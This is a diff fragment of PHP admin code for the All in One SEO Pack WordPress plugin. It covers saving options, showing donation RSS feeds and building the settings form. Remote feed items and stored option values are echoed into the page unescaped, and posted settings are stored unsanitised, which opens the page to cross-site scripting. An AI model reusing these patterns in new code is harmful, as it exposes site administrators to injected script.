+		//add_management_page(__('All in One SEO Title', 'all_in_one_seo_pack'), __('All in One SEO', 'all_in_one_seo_pack'), 10, $file, array($this, 'management_panel'));
+		add_submenu_page('options-general.php', __('All in One SEO', 'all_in_one_seo_pack'), __('All in One SEO', 'all_in_one_seo_pack'), 10, $file, array($this, 'options_panel'));
+	}
+	
+	function management_panel() {
+		$message = null;
+		$base_url = "edit.php?page=" . __FILE__;
+		//echo($base_url);
+		$type = $_REQUEST['type'];
+		if (!isset($type)) {
+			$type = "posts";
+		}
+?>
+
+  <ul class="aiosp_menu">
+    <li><a href="<?php echo $base_url ?>&type=posts">Posts</a>
+    </li>
+    <li><a href="<?php echo $base_url ?>&type=pages">Pages</a>
+    </li>
+  </ul>
+  
+<?php
+
+		if ($type == "posts") {
+			echo("posts");
+		} elseif ($type == "pages") {
+			echo("pages");
+		}
+
+	}
+
+	function options_panel() {
+		$message = null;
+		$message_updated = __("All in One SEO Options Updated.", 'all_in_one_seo_pack');
+		global $aioseop_options;
+		
+		
+		if(!$aioseop_options['aiosp_cap_cats']){
+			$aioseop_options['aiosp_cap_cats'] = '1';
+		}
+		
+		// update options
+		if ($_POST['action'] && $_POST['action'] == 'aiosp_update') {
+			$nonce = $_POST['nonce-aioseop'];
+			if (!wp_verify_nonce($nonce, 'aioseop-nonce')) die ( 'Security Check - If you receive this in error, log out and back in to WordPress');
+			$message = $message_updated;
+			$aioseop_options['aiosp_can'] = $_POST['aiosp_can'];
+			$aioseop_options['aiosp_donate'] = $_POST['aiosp_donate'];
+			$aioseop_options['aiosp_home_title'] = $_POST['aiosp_home_title'];
+			$aioseop_options['aiosp_home_description'] = $_POST['aiosp_home_description'];
+			$aioseop_options['aiosp_home_keywords'] = $_POST['aiosp_home_keywords'];
+			$aioseop_options['aiosp_max_words_excerpt'] = $_POST['aiosp_max_words_excerpt'];
+			$aioseop_options['aiosp_rewrite_titles'] = $_POST['aiosp_rewrite_titles'];
+			$aioseop_options['aiosp_post_title_format'] = $_POST['aiosp_post_title_format'];
+			$aioseop_options['aiosp_page_title_format'] = $_POST['aiosp_page_title_format'];
+			$aioseop_options['aiosp_category_title_format'] = $_POST['aiosp_category_title_format'];
+			$aioseop_options['aiosp_archive_title_format'] = $_POST['aiosp_archive_title_format'];
+			$aioseop_options['aiosp_tag_title_format'] = $_POST['aiosp_tag_title_format'];
+			$aioseop_options['aiosp_search_title_format'] = $_POST['aiosp_search_title_format'];
+			$aioseop_options['aiosp_description_format'] = $_POST['aiosp_description_format'];
+			$aioseop_options['aiosp_404_title_format'] = $_POST['aiosp_404_title_format'];
+			$aioseop_options['aiosp_paged_format'] = $_POST['aiosp_paged_format'];
+			$aioseop_options['aiosp_use_categories'] = $_POST['aiosp_use_categories'];
+			$aioseop_options['aiosp_dynamic_postspage_keywords'] = $_POST['aiosp_dynamic_postspage_keywords'];
+			$aioseop_options['aiosp_category_noindex'] = $_POST['aiosp_category_noindex'];
+			$aioseop_options['aiosp_archive_noindex'] = $_POST['aiosp_archive_noindex'];
+			$aioseop_options['aiosp_tags_noindex'] = $_POST['aiosp_tags_noindex'];
+			$aioseop_options['aiosp_generate_descriptions'] = $_POST['aiosp_generate_descriptions'];
+			$aioseop_options['aiosp_cap_cats'] = $_POST['aiosp_cap_cats'];
+			$aioseop_options['aiosp_debug_info'] = $_POST['aiosp_debug_info'];
+			$aioseop_options['aiosp_post_meta_tags'] = $_POST['aiosp_post_meta_tags'];
+			$aioseop_options['aiosp_page_meta_tags'] = $_POST['aiosp_page_meta_tags'];
+			$aioseop_options['aiosp_home_meta_tags'] = $_POST['aiosp_home_meta_tags'];
+			$aioseop_options['aiosp_ex_pages'] = $_POST['aiosp_ex_pages'];
+			$aioseop_options['aiosp_do_log'] = $_POST['aiosp_do_log'];
+			$aioseop_options['aiosp_enabled'] = $_POST['aiosp_enabled'];			
+			
+			update_option('aioseop_options', $aioseop_options);
+			
+			if (function_exists('wp_cache_flush')) {
+				wp_cache_flush();
+			}
+		} /*elseif ($_POST['aiosp_upgrade']) {
+			$message = __("Upgraded to newest version. Please revisit the options page to make sure you see the newest version.", 'all_in_one_seo_pack');
+			$success = $this->install_newest_version();
+			if (!$success) {
+				$message = __("Upgrade failed", 'all_in_one_seo_pack');
+				if (isset($this->upgrade_error) && !empty($this->upgrade_error)) {
+					$message .= ": " . $this->upgrade_error;
+				} else {
+					$message .= ".";
+				}
+			}
+		}*/
+
+?>
+<?php if ($message) : ?>
+<div id="message" class="updated fade"><p><?php echo $message; ?></p></div>
+<?php endif; ?>
+<div id="dropmessage" class="updated" style="display:none;"></div>
+<div class="wrap">
+<h2><?php _e('All in One SEO Plugin Options', 'all_in_one_seo_pack'); ?></h2>
+<p>
+<?php //_e("This is version ", 'all_in_one_seo_pack') ?><?php //_e("$this->version ", 'all_in_one_seo_pack') ?>
+&nbsp;<a target="_blank" title="<?php _e('All in One SEO Plugin Release History', 'all_in_one_seo_pack')?>"
+href="http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/all-in-one-seo-pack-release-history/"><?php _e("Changelog", 'all_in_one_seo_pack')?>
+</a>
+| <a target="_blank" title="<?php _e('FAQ', 'all_in_one_seo_pack') ?>"
+href="http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/all-in-one-seo-faq/"><?php _e('FAQ', 'all_in_one_seo_pack') ?></a>
+| <a target="_blank" title="<?php _e('All in One SEO Plugin Support Forum', 'all_in_one_seo_pack') ?>"
+href="http://semperfiwebdesign.com/portfolio/wordpress/wordpress-plugins/forum/"><?php _e('Support', 'all_in_one_seo_pack') ?></a>
+| <a target="_blank" title="<?php _e('All in One SEO Plugin Translations', 'all_in_one_seo_pack') ?>"
+href="http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/translations-for-all-in-one-seo-pack/"><?php _e('Translations', 'all_in_one_seo_pack') ?></a>
+<br />
+<div style="width:75%;background-color:yellow;">
+<em>Thank you for using <strong>All in One SEO Pack</strong> by <strong>Michael Torbert</strong> of <strong>Semper Fi Web Design</strong>.  If you like this plugin and find it useful, feel free to click the <strong>donate</strong> button or send me a gift from my <strong>Amazon wishlist</strong>.  Also, don't forget to follow me on <strong>Twitter</strong>.</em>
+</div>
+<br />
+<a target="_blank" title="<?php echo 'Donate' ?>"
+href="https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=mrtorbert%40gmail%2ecom&item_name=All%20In%20One%20SEO%20Pack&item_number=Support%20Open%20Source&no_shipping=0&no_note=1&tax=0&currency_code=USD&lc=US&bn=PP%2dDonationsBF&charset=UTF%2d8"><img src="https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif" width="" alt="Donate" /><?php //echo 'Donate' ?></a>
+| <a target="_blank" title="Amazon Wish List" href="https://www.amazon.com/wishlist/1NFQ133FNCOOA/ref=wl_web"><img src="https://images-na.ssl-images-amazon.com/images/G/01/gifts/registries/wishlist/v2/web/wl-btn-74-b._V46774601_.gif" width="74" alt="My Amazon.com Wish List" height="42" border="0" /></a>
+| <a target="_blank" title="<?php _e('Follow us on Twitter', 'all_in_one_seo_pack') ?>"
+href="http://twitter.com/michaeltorbert/"><img src="<?php echo WP_PLUGIN_URL; ?>/all-in-one-seo-pack/images/twitter.png" alt="<?php _e('Follow Us on Twitter', 'all_in_one_seo_pack') ?>" height="47px" /></a>
+
+</p>
+
+
+<!--
+<p>
+<?php
+//$canwrite = $this->is_upgrade_directory_writable();
+//$canwrite = false;
+?>
+<form class="form-table" name="dofollow" action="" method="post">
+<p class="submit">
+<input type="submit" <?php //if (!$canwrite) echo(' disabled="disabled" ');?> name="aiosp_upgrade" value="<?php //_e('One Click Upgrade', 'all_in_one_seo_pack')?> &raquo;" />
+<strong><?php //_e("(Remember: Backup early, backup often!)", 'all_in_one_seo_pack') ?></strong>
+</form>
+</p>
+<p></p>
+
+
+<?php //if (!$canwrite) {
+	//echo("<p><strong>"); echo(sprintf(__("Please make sure that %s is writable.", 'all_in_one_seo_pack'), $this->upgrade_folder)); echo("</p></strong>");
+// } ?>
+</p>
+-->
+
+<script type="text/javascript">
+<!--
+    function toggleVisibility(id) {
+       var e = document.getElementById(id);
+       if(e.style.display == 'block')
+          e.style.display = 'none';
+       else
+          e.style.display = 'block';
+    }
+//-->
+</script>
+
+<h3><?php _e('Click on option titles to get help!', 'all_in_one_seo_pack') ?></h3>
+
+<?php
+$uri = "feed://donations.semperfiwebdesign.com/category/highest-donations/feed/";
+include_once(ABSPATH . WPINC . '/rss.php');
+$rss = fetch_rss($uri);
+if($rss){
+echo "Highest Donations";
+$maxitems = 5;
+if(is_array($rss->items)){
+$items = array_slice($rss->items, 0, $maxitems);
+?>
+<ul>
+<?php if (empty($items)) echo '<li>No items</li>';
+else
+foreach ( $items as $item ) : ?>
+<li><a href='<?php echo $item['description']; ?>' 
+title='<?php echo $item['title']; ?>'>
+<?php echo $item['title']; ?>
+</a></li>
+<?php endforeach; ?>
+</ul>
+<?php } }else{
+	//do something else for feed here
+}
+
+
+ ?>
+
+<?php
+$uri = "feed://donations.semperfiwebdesign.com/category/all-in-one-seo-pack/feed/";
+include_once(ABSPATH . WPINC . '/rss.php');
+$rss = fetch_rss($uri);
+if($rss){
+echo "Latest Donations";
+$maxitems = 5;
+if(is_array($rss->items)){
+$items = array_slice($rss->items, 0, $maxitems);
+?>
+<ul>
+<?php if (empty($items)) echo '<li>No items</li>';
+else
+foreach ( $items as $item ) : ?>
+<li><a href='<?php echo $item['link']; ?>' 
+title='<?php echo $item['title']; ?>'>
+<?php echo $item['title']; ?>
+</a></li>
+<?php endforeach; ?>
+</ul>
+<?php } }else{
+	//fall back on something else for feed here
+}?>
+
+<?php
+global $wpdb;
+$somecount = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->postmeta WHERE meta_key = 'keywords'");
+$somecount = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->postmeta WHERE meta_key = 'title'") + $somecount;
+$somecount = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->postmeta WHERE meta_key = 'description'") + $somecount;
+$somecount = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->postmeta WHERE meta_key = 'aiosp_meta'") + $somecount;
+$somecount = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->postmeta WHERE meta_key = 'aiosp_disable'") + $somecount;
+if($somecount > 0){
+echo "<div class='error' style='text-align:center;'><p><strong>Your database meta needs to be updated.  " . $somecount . " old fields remaining</strong> <em>(Back up your database before updating.)</em>
+	<FORM action='' method='post' name='aioseop-migrate'>
+		<input type='hidden' name='nonce-aioseop-migrate' value='" . wp_create_nonce('aioseop-migrate-nonce') . "' />
+		<input type='submit' name='aioseop_migrate' class='button-primary' value='Update Database'>
+	 </FORM>
+</p></div>";
+}
+
+if(!get_option('aioseop_options')){
+	echo "<div class='error' style='text-align:center;'><p><strong>Your database options need to be updated.</strong><em>(Back up your database before updating.)</em>
+		<FORM action='' method='post' name='aioseop-migrate-options'>
+			<input type='hidden' name='nonce-aioseop-migrate-options' value='" . wp_create_nonce('aioseop-migrate-nonce-options') . "' />
+			<input type='submit' name='aioseop_migrate_options' class='button-primary' value='Update Database Options'>
+		 </FORM>
+	</p></div>";
+	
+}
+
+?>
+
+
+<form name="dofollow" action="" method="post">
+<table class="form-table">
+<?php $aioseop_options = get_option('aioseop_options'); ?>
+<?php if (!$aioseop_options['aiosp_donate']){?>
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_donate_tip');">
+<?php _e('I enjoy this plugin and have made a donation:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_donate" <?php if ($aioseop_options['aiosp_donate']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_donate_tip">
+<?php
+_e('All donations support continued development of this free software.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+<?php } ?>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_enabled_tip');">
+<?php _e('Plugin Status:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="radio" name="aiosp_enabled" value="1" <?php if($aioseop_options['aiosp_enabled']) echo "checked"?> > Enabled<br>
+<input type="radio" name="aiosp_enabled" value="0" <?php if(!$aioseop_options['aiosp_enabled']) echo "checked"?>> Disabled
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_enabled_tip">
+<?php
+_e('All in One SEO Pack must be enabled for use.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_home_title_tip');">
+<?php _e('Home Title:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<textarea cols="57" rows="2" name="aiosp_home_title"><?php echo stripcslashes($aioseop_options['aiosp_home_title']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_home_title_tip">
+<?php
+_e('As the name implies, this will be the title of your homepage. This is independent of any other option. If not set, the default blog title will get used.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_home_description_tip');">
+<?php _e('Home Description:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<textarea cols="57" rows="2" name="aiosp_home_description"><?php echo stripcslashes($aioseop_options['aiosp_home_description']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_home_description_tip">
+<?php
+_e('The META description for your homepage. Independent of any other options, the default is no META description at all if this is not set.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_home_keywords_tip');">
+<?php _e('Home Keywords (comma separated):', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<textarea cols="57" rows="2" name="aiosp_home_keywords"><?php echo stripcslashes($aioseop_options['aiosp_home_keywords']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_home_keywords_tip">
+<?php
+_e("A comma separated list of your most important keywords for your site that will be written as META keywords on your homepage. Don't stuff everything in here.", 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_can_tip');">
+<?php _e('Canonical URLs:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_can" <?php if ($aioseop_options['aiosp_can']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_can_tip">
+<?php
+_e("This option will automatically generate Canonical URLS for your entire WordPress installation.  This will help to prevent duplicate content penalties by <a href='http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html' target='_blank'>Google</a>.", 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_rewrite_titles_tip');">
+<?php _e('Rewrite Titles:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_rewrite_titles" <?php if ($aioseop_options['aiosp_rewrite_titles']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_rewrite_titles_tip">
+<?php
+_e("Note that this is all about the title tag. This is what you see in your browser's window title bar. This is NOT visible on a page, only in the window title bar and of course in the source. If set, all page, post, category, search and archive page titles get rewritten. You can specify the format for most of them. For example: The default templates puts the title tag of posts like this: âÃÃºBlog Archive >> Blog Name >> Post TitleâÃÃ¹ (maybe I've overdone slightly). This is far from optimal. With the default post title format, Rewrite Title rewrites this to âÃÃºPost Title | Blog NameâÃÃ¹. If you have manually defined a title (in one of the text fields for All in One SEO Plugin input) this will become the title of your post in the format string.", 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_post_title_format_tip');">
+<?php _e('Post Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_post_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_post_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_post_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%post_title% - The original title of the post', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%category_title% - The (main) category of the post', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%category% - Alias for %category_title%', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%post_author_login% - This post's author' login", 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%post_author_nicename% - This post's author' nicename", 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%post_author_firstname% - This post's author' first name (capitalized)", 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%post_author_lastname% - This post's author' last name (capitalized)", 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_page_title_format_tip');">
+<?php _e('Page Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_page_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_page_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_page_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%page_title% - The original title of the page', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%page_author_login% - This page's author' login", 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%page_author_nicename% - This page's author' nicename", 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%page_author_firstname% - This page's author' first name (capitalized)", 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e("%page_author_lastname% - This page's author' last name (capitalized)", 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_category_title_format_tip');">
+<?php _e('Category Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_category_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_category_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_category_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%category_title% - The original title of the category', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%category_description% - The description of the category', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_archive_title_format_tip');">
+<?php _e('Archive Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_archive_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_archive_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_archive_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%date% - The original archive title given by wordpress, e.g. "2007" or "2007 August"', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_tag_title_format_tip');">
+<?php _e('Tag Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_tag_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_tag_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_tag_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%tag% - The name of the tag', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_search_title_format_tip');">
+<?php _e('Search Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_search_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_search_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_search_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%search% - What was searched for', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_description_format_tip');">
+<?php _e('Description Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_description_format" value="<?php echo stripcslashes($aioseop_options['aiosp_description_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_description_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%description% - The original description as determined by the plugin, e.g. the excerpt if one is set or an auto-generated one if that option is set', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%wp_title% - The original wordpress title, e.g. post_title for posts', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_404_title_format_tip');">
+<?php _e('404 Title Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_404_title_format" value="<?php echo stripcslashes($aioseop_options['aiosp_404_title_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_404_title_format_tip">
+<?php
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%blog_title% - Your blog title', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%blog_description% - Your blog description', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%request_url% - The original URL path, like "/url-that-does-not-exist/"', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%request_words% - The URL path in human readable form, like "Url That Does Not Exist"', 'all_in_one_seo_pack'); echo('</li>');
+echo('<li>'); _e('%404_title% - Additional 404 title input"', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_paged_format_tip');">
+<?php _e('Paged Format:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input size="59" name="aiosp_paged_format" value="<?php echo stripcslashes($aioseop_options['aiosp_paged_format']); ?>"/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_paged_format_tip">
+<?php
+_e('This string gets appended/prepended to titles when they are for paged index pages (like home or archive pages).', 'all_in_one_seo_pack');
+_e('The following macros are supported:', 'all_in_one_seo_pack');
+echo('<ul>');
+echo('<li>'); _e('%page% - The page number', 'all_in_one_seo_pack'); echo('</li>');
+echo('</ul>');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_use_categories_tip');">
+<?php _e('Use Categories for META keywords:', 'all_in_one_seo_pack')?>
+</td>
+<td>
+<input type="checkbox" name="aiosp_use_categories" <?php if ($aioseop_options['aiosp_use_categories']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_use_categories_tip">
+<?php
+_e('Check this if you want your categories for a given post used as the META keywords for this post (in addition to any keywords and tags you specify on the post edit page).', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_dynamic_postspage_keywords_tip');">
+<?php _e('Dynamically Generate Keywords for Posts Page:', 'all_in_one_seo_pack')?>
+</td>
+<td>
+<input type="checkbox" name="aiosp_dynamic_postspage_keywords" <?php if ($aioseop_options['aiosp_dynamic_postspage_keywords']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_dynamic_postspage_keywords_tip">
+<?php
+_e('Check this if you want your keywords on a custom posts page (set it in options->reading) to be dynamically generated from the keywords of the posts showing on that page.  If unchecked, it will use the keywords set in the edit page screen for the posts page.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_category_noindex_tip');">
+<?php _e('Use noindex for Categories:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_category_noindex" <?php if ($aioseop_options['aiosp_category_noindex']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_category_noindex_tip">
+<?php
+_e('Check this for excluding category pages from being crawled. Useful for avoiding duplicate content.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_archive_noindex_tip');">
+<?php _e('Use noindex for Archives:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_archive_noindex" <?php if ($aioseop_options['aiosp_archive_noindex']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_archive_noindex_tip">
+<?php
+_e('Check this for excluding archive pages from being crawled. Useful for avoiding duplicate content.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
